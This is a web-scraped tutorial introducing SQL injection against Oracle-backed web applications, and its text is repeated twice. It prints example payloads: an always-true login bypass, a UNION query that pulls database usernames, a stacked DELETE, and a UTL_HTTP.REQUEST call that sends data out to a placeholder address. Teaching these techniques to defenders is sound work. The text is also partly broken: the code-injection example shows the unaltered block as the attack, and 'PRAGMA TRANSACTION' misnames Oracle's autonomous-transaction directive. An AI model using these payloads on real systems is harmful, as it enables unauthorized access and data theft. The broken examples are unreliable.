Tweet

An Introduction to SQL Injection Attacks            for Oracle Developers. SQL injection is a basic attack used to either  gain unauthorized access to a database or to retrieve information directly from the database.  The principles behind a  SQL injection are simple and these types of attacks are easy to execute and master. We believe web applications using Oracle as a  back-end database are more vulnerable to SQL injection attacks than most application developers  think.  Our application audits have found many web applications vulnerable to SQL injection even though well established coding standards were in place during development  of many of these applications.  Function-based SQL injection attacks are of most concern since these attacks do not require  knowledge of the application and can be easily automated.  Fortunately, SQL injection attacks are easy to defend  against with simple  coding practices.   However, every parameter passed to every dynamic SQL statement must be  validated or  bind variables must be used.    SQL Injection: Oracle  versus Other Databases  Oracle has generally faired well against SQL injection attacks as there is  no multiple SQL statement support (SQL  Server and  PostgreSQL), no EXECUTE statement (SQL Server), and no INTO OUTFILE function (MySQL).  Also, use of bind variables in Oracle environments for performance reasons provides strong protection against SQL injection attacks. Oracle may provide stronger and more inherent protections against SQL injection attacks than other database, however applications without proper  defenses against these types of attacks can be vulnerable.  Despite these advantages  many web applications are vulnerable  to SQL injection attacks.   Categories of SQL Injection Attacks.  There are four main categories of SQL Injection attacks against Oracle databases –  1.  SQL Manipulation  2.  Code Injection  3.  Function Call Injection  4.  Buffer Overflows  The first two  categories, SQL manipulation and code  injection, should be well known to the reader, as these are the most commonly described attacks  for all types of  databases (including SQL Server, MySQL, ProgressSQL, and Oracle).    SQL manipulation involves modifying  the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return  a different  result.  Many documented SQL injection attacks are of this type.  The most  well known  attack  is to modify the WHERE clause of the user authentication statement so  the WHERE clause always results in TRUE.  Code injection is when an attacker inserts new SQL statements  or database commands into the SQL statement.  The classic code injection  attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement.  Code injection only  works when multiple SQL statements per database request are supported.  SQL Server and PostgreSQL  have this capability and it is sometimes possible to inject multiple SQL statements with  Oracle.  The last two categories are more specific attacks  against Oracle databases and are not well known or documented.  In the vast majority of our application audits, we have found  applications vulnerable to these two types of attacks. Function call injection is the insertion of Oracle  database functions or custom functions into a vulnerable SQL statement.  These function calls can be used to make operating system calls or manipulate data in the database.             SQL Injection Methods. There are four types of SQL Injection attacks which  work for Oracle databases.  The first two types – SQL manipulation and  code injection – are well known and documented.  However, function call injection and  buffer overflow attacks are not well  documented and many applications are vulnerable to these types of attacks.   All of these types of  SQL injection are  valid for other databases including SQL Server, DB2, MySQL, and PostgreSQL.                SQL Manipulation The most common type of SQL Injection attack  is  SQL manipulation.  The  attacker attempts to modify the existing SQL statement by  adding elements to the  WHERE  clause or extending the SQL statement with set operators like  UNION, INTERSECT, or  MINUS.  There are other possible variations, but these are the most significant examples.  The classic SQL manipulation is during the login authentication.  A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned.    SELECT * FROM users  WHERE username = 'bob' and PASSWORD = 'mypassword'   The attacker  attempts to  manipulate the SQL statement to execute as   SELECT * FROM users  WHERE username = 'bob' and PASSWORD = 'mypassword'  or 'a' = 'a'   Based on operator precedence, the  WHERE clause is true for every row and  the attacker has gained access to the application. The set operator UNION is frequently used in SQL  injection  attacks.  The goal is to manipulate a SQL statement into returning rows from another table.  A web form may execute the following query to return a list of available products –  SELECT product_name FROM all_products  WHERE product_name like '%Chairs%'  The attacker  attempts to  manipulate the SQL statement to execute as  –  SELECT product_name FROM all_products  WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%'  The list returned to the web form will include all the  selected products, but also all the database users in the application.                          Code Injection  Code injection attacks attempt to add  additional SQL statements or commands to the existing SQL statement.  This type of attack is frequently  used against Microsoft SQL Server applications, but seldom works with an Oracle database.  The  EXECUTE statement in SQL Server is a frequent target of SQL injection attacks – there is  no corresponding statement in Oracle. In PL/SQL and Java, Oracle does  not support multiple SQL statements  per database request.  Thus, the following  common injection attack will not work  against an Oracle database via a PL/SQL or Java application.  This statement will result in an error –  SELECT * FROM users  WHERE username = 'bob' and PASSWORD = 'mypassword';  DELETE FROM users WHERE username = 'admin';  However, some programming languages or APIs may allow for multiple SQL statements to be executed. PL/SQL and Java applications  can dynamically execute anonymous PL/SQL blocks, which are vulnerable to  code injection.  The following is  an example of a PL/SQL block executed in a web application –  The above example PL/SQL block executes an application stored procedure  that encrypts and saves the user’s password.  An attacker  will attempt  to manipulate the PL/SQL block to execute  as –  BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END;                                 Function Call Injection  Function call injection is the insertion of Oracle  database functions or custom functions into a vulnerable SQL statement.  These function calls can be used to make operating system calls or manipulate data in the database.    The Oracle database allows functions or functions in packages to  be executed as part of a SQL statement.  By  default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a  few of these functions may be useful in a SQL injection attack.  Some of these functions do perform network activities which  can be exploited.  Any custom function or function residing in a custom package can  also be executed in a SQL statement.  Functions executed as part of a SQL SELECT statement can not make any changes to the database unless the function is marked as “PRAGMA TRANSACTION”.  None of the standard Oracle functions are executed as autonomous transactions.  Functions executed in INSERT, UPDATE, or DELETE statements are able to  modify data in the database.  Using the standard Oracle functions, an  attacker can send information from the database to a remote computer or execute other attacks from  the database server.  Many native Oracle applications leverage database packages which can be exploited  by an attacker.  These custom packages may include functions to change passwords or perform other sensitive application  transactions.  The issue with function call injection is that any  dynamically generated SQL statement is vulnerable.  Even the simplest SQL statements can  be effectively exploited. The following  example demonstrates even the most  simple of SQL statements can be vulnerable.  Application developers will sometimes  use database functions instead of native code (e.g.,  Java) to perform common tasks.  There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement. SELECT TRANSLATE('user input',                   '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',                   '0123456789')   FROM dual;    The SQL statement is not vulnerable  to other types of injection attacks, but is easily manipulated through a function injection attack.  The attacker  attempts to manipulate  the SQL statement to execute as   SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',                   '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',                   '0123456789')   FROM dual;  The changed SQL statement will request a page from  a web server.  The attacker could manipulate the string and URL to include other functions in  order to retrieve useful information from  the database server and send it to the web server in the  URL.  Since the Oracle database server is most likely behind  a firewall, it could also be  used to  attack  other servers on the internal network. Custom functions and functions in custom packages  can also be executed.  An example would be a custom application has the function ADDUSER  in the custom package MYAPPADMIN.  The developer marked the function as “PRAGMA TRANSACTION”, so it could be executed under any special circumstances that the application might encounter.  Since it is marked “PRAGMA TRANSACTION”, it can write to the database even in a SELECT statement.

 An Introduction to SQL Injection Attacks            for Oracle Developers.

SQL Injection: Oracle  versus Other Databases 

Oracle has generally faired well against SQL injection attacks as there is  no multiple SQL statement support (SQL  Server and  PostgreSQL), no EXECUTE statement (SQL Server), and no INTO OUTFILE function (MySQL).  Also, use of bind variables in Oracle environments for performance reasons provides strong protection against SQL injection attacks. Oracle may provide stronger and more inherent protections against SQL injection attacks than other database, however applications without proper  defenses against these types of attacks can be vulnerable.  Despite these advantages  many web applications are vulnerable  to SQL injection attacks.  

Categories of SQL Injection Attacks.

 There are four main categories of SQL Injection attacks against Oracle databases – 

1.  SQL Manipulation 

2.  Code Injection

 3.  Function Call Injection 

4.  Buffer Overflows 

The first two  categories, SQL manipulation and code  injection, should be well known to the reader, as these are the most commonly described attacks  for all types of  databases (including SQL Server, MySQL, ProgressSQL, and Oracle). 

  SQL manipulation involves modifying  the SQL statement through set operations (e.g., UNION) or altering the WHERE clause to return  a different  result.  Many documented SQL injection attacks are of this type.  The most  well known  attack  is to modify the WHERE clause of the user authentication statement so  the WHERE clause always results in TRUE. 

Code injection is when an attacker inserts new SQL statements  or database commands into the SQL statement.  The classic code injection  attack is to append a SQL Server EXECUTE command to the vulnerable SQL statement.  Code injection only  works when multiple SQL statements per database request are supported.  SQL Server and PostgreSQL  have this capability and it is sometimes possible to inject multiple SQL statements with  Oracle. 

The last two categories are more specific attacks  against Oracle databases and are not well known or documented.  In the vast majority of our application audits, we have found  applications vulnerable to these two types of attacks. Function call injection is the insertion of Oracle  database functions or custom functions into a vulnerable SQL statement.  These function calls can be used to make operating system calls or manipulate data in the database. 

           SQL Injection Methods.

There are four types of SQL Injection attacks which  work for Oracle databases.  The first two types – SQL manipulation and  code injection – are well known and documented.  However, function call injection and  buffer overflow attacks are not well  documented and many applications are vulnerable to these types of attacks.   All of these types of  SQL injection are  valid for other databases including SQL Server, DB2, MySQL, and PostgreSQL. 

              SQL Manipulation

The most common type of SQL Injection attack  is  SQL manipulation.  The  attacker attempts to modify the existing SQL statement by  adding elements to the  WHERE  clause or extending the SQL statement with set operators like  UNION, INTERSECT, or  MINUS.  There are other possible variations, but these are the most significant examples. 

The classic SQL manipulation is during the login authentication.  A simplistic web application may check user authentication by executing the following query and checking to see if any rows were returned.

SELECT * FROM users  WHERE username = 'bob' and PASSWORD = 'mypassword'  

The attacker  attempts to  manipulate the SQL statement to execute as

  SELECT * FROM users  WHERE username = 'bob' and PASSWORD = 'mypassword'  or 'a' = 'a'  

Based on operator precedence, the  WHERE clause is true for every row and  the attacker has gained access to the application. The set operator UNION is frequently used in SQL  injection  attacks.  The goal is to manipulate a SQL statement into returning rows from another table.  A web form may execute the following query to return a list of available products – 

SELECT product_name FROM all_products  WHERE product_name like '%Chairs%' 

The attacker  attempts to  manipulate the SQL statement to execute as  – 

SELECT product_name FROM all_products  WHERE product_name like '%Chairs' UNION SELECT username FROM dba_users WHERE username like '%' 

The list returned to the web form will include all the  selected products, but also all the database users in the application. 

                        Code Injection 

Code injection attacks attempt to add  additional SQL statements or commands to the existing SQL statement.  This type of attack is frequently  used against Microsoft SQL Server applications, but seldom works with an Oracle database.  The  EXECUTE statement in SQL Server is a frequent target of SQL injection attacks – there is  no corresponding statement in Oracle. In PL/SQL and Java, Oracle does  not support multiple SQL statements  per database request.  Thus, the following  common injection attack will not work  against an Oracle database via a PL/SQL or Java application.  This statement will result in an error – 

SELECT * FROM users  WHERE username = 'bob' and PASSWORD = 'mypassword';  DELETE FROM users WHERE username = 'admin'; 

However, some programming languages or APIs may allow for multiple SQL statements to be executed. PL/SQL and Java applications  can dynamically execute anonymous PL/SQL blocks, which are vulnerable to  code injection.  The following is  an example of a PL/SQL block executed in a web application – 

The above example PL/SQL block executes an application stored procedure  that encrypts and saves the user’s password.  An attacker  will attempt  to manipulate the PL/SQL block to execute  as – 

BEGIN ENCRYPT_PASSWORD('bob', 'mypassword'); END; 

                               Function Call Injection 

Function call injection is the insertion of Oracle  database functions or custom functions into a vulnerable SQL statement.  These function calls can be used to make operating system calls or manipulate data in the database.   

The Oracle database allows functions or functions in packages to  be executed as part of a SQL statement.  By  default, Oracle supplies over 1,000 functions in about 175 standard database packages, although only a  few of these functions may be useful in a SQL injection attack.  Some of these functions do perform network activities which  can be exploited.  Any custom function or function residing in a custom package can  also be executed in a SQL statement.

 Functions executed as part of a SQL SELECT statement can not make any changes to the database unless the function is marked as “PRAGMA TRANSACTION”.  None of the standard Oracle functions are executed as autonomous transactions.  Functions executed in INSERT, UPDATE, or DELETE statements are able to  modify data in the database. 

Using the standard Oracle functions, an  attacker can send information from the database to a remote computer or execute other attacks from  the database server.  Many native Oracle applications leverage database packages which can be exploited  by an attacker.  These custom packages may include functions to change passwords or perform other sensitive application  transactions.

 The issue with function call injection is that any  dynamically generated SQL statement is vulnerable.  Even the simplest SQL statements can  be effectively exploited. The following  example demonstrates even the most  simple of SQL statements can be vulnerable.  Application developers will sometimes  use database functions instead of native code (e.g.,  Java) to perform common tasks.  There is no direct equivalent of the TRANSLATE database function in Java, so the programmer decided to use a SQL statement.

SELECT TRANSLATE('user input',                   '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',                   '0123456789')  

FROM dual; 

  The SQL statement is not vulnerable  to other types of injection attacks, but is easily manipulated through a function injection attack.  The attacker  attempts to manipulate  the SQL statement to execute as  

SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',                   '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',                   '0123456789')  

FROM dual; 

The changed SQL statement will request a page from  a web server.  The attacker could manipulate the string and URL to include other functions in  order to retrieve useful information from  the database server and send it to the web server in the  URL.  Since the Oracle database server is most likely behind  a firewall, it could also be  used to  attack  other servers on the internal network. Custom functions and functions in custom packages  can also be executed.  An example would be a custom application has the function ADDUSER  in the custom package MYAPPADMIN.  The developer marked the function as “PRAGMA TRANSACTION”, so it could be executed under any special circumstances that the application might encounter.  Since it is marked “PRAGMA TRANSACTION”, it can write to the database even in a SELECT statement.